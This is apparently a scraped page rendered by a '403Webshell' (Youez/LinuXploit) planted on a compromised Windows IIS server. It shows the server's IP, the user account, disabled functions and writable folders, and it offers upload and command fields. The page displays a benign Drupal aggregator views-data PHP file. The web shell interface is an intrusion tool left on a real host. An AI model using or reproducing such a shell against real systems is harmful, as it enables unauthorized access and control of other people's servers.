403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/enoikio/core/modules/aggregator/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/enoikio/core/modules/aggregator/src//AggregatorItemViewsData.php
<?php

namespace Drupal\aggregator;

use Drupal\views\EntityViewsData;

/**
 * Provides the views data for the aggregator item entity type.
 */
class AggregatorItemViewsData extends EntityViewsData {

  /**
   * {@inheritdoc}
   */
  public function getViewsData() {
    $data = parent::getViewsData();

    $data['aggregator_item']['table']['base']['help'] = $this->t('Aggregator items are imported from external RSS and Atom news feeds.');

    $data['aggregator_item']['iid']['help'] = $this->t('The unique ID of the aggregator item.');
    $data['aggregator_item']['iid']['argument']['id'] = 'aggregator_iid';
    $data['aggregator_item']['iid']['argument']['name field'] = 'title';
    $data['aggregator_item']['iid']['argument']['numeric'] = TRUE;

    $data['aggregator_item']['title']['help'] = $this->t('The title of the aggregator item.');
    $data['aggregator_item']['title']['field']['default_formatter'] = 'aggregator_title';

    $data['aggregator_item']['link']['help'] = $this->t('The link to the original source URL of the item.');

    $data['aggregator_item']['author']['help'] = $this->t('The author of the original imported item.');

    $data['aggregator_item']['author']['field']['default_formatter'] = 'aggregator_xss';

    $data['aggregator_item']['guid']['help'] = $this->t('The guid of the original imported item.');

    $data['aggregator_item']['description']['help'] = $this->t('The actual content of the imported item.');
    $data['aggregator_item']['description']['field']['default_formatter'] = 'aggregator_xss';
    $data['aggregator_item']['description']['field']['click sortable'] = FALSE;

    $data['aggregator_item']['timestamp']['help'] = $this->t('The date the original feed item was posted. (With some feeds, this will be the date it was imported.)');

    return $data;
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit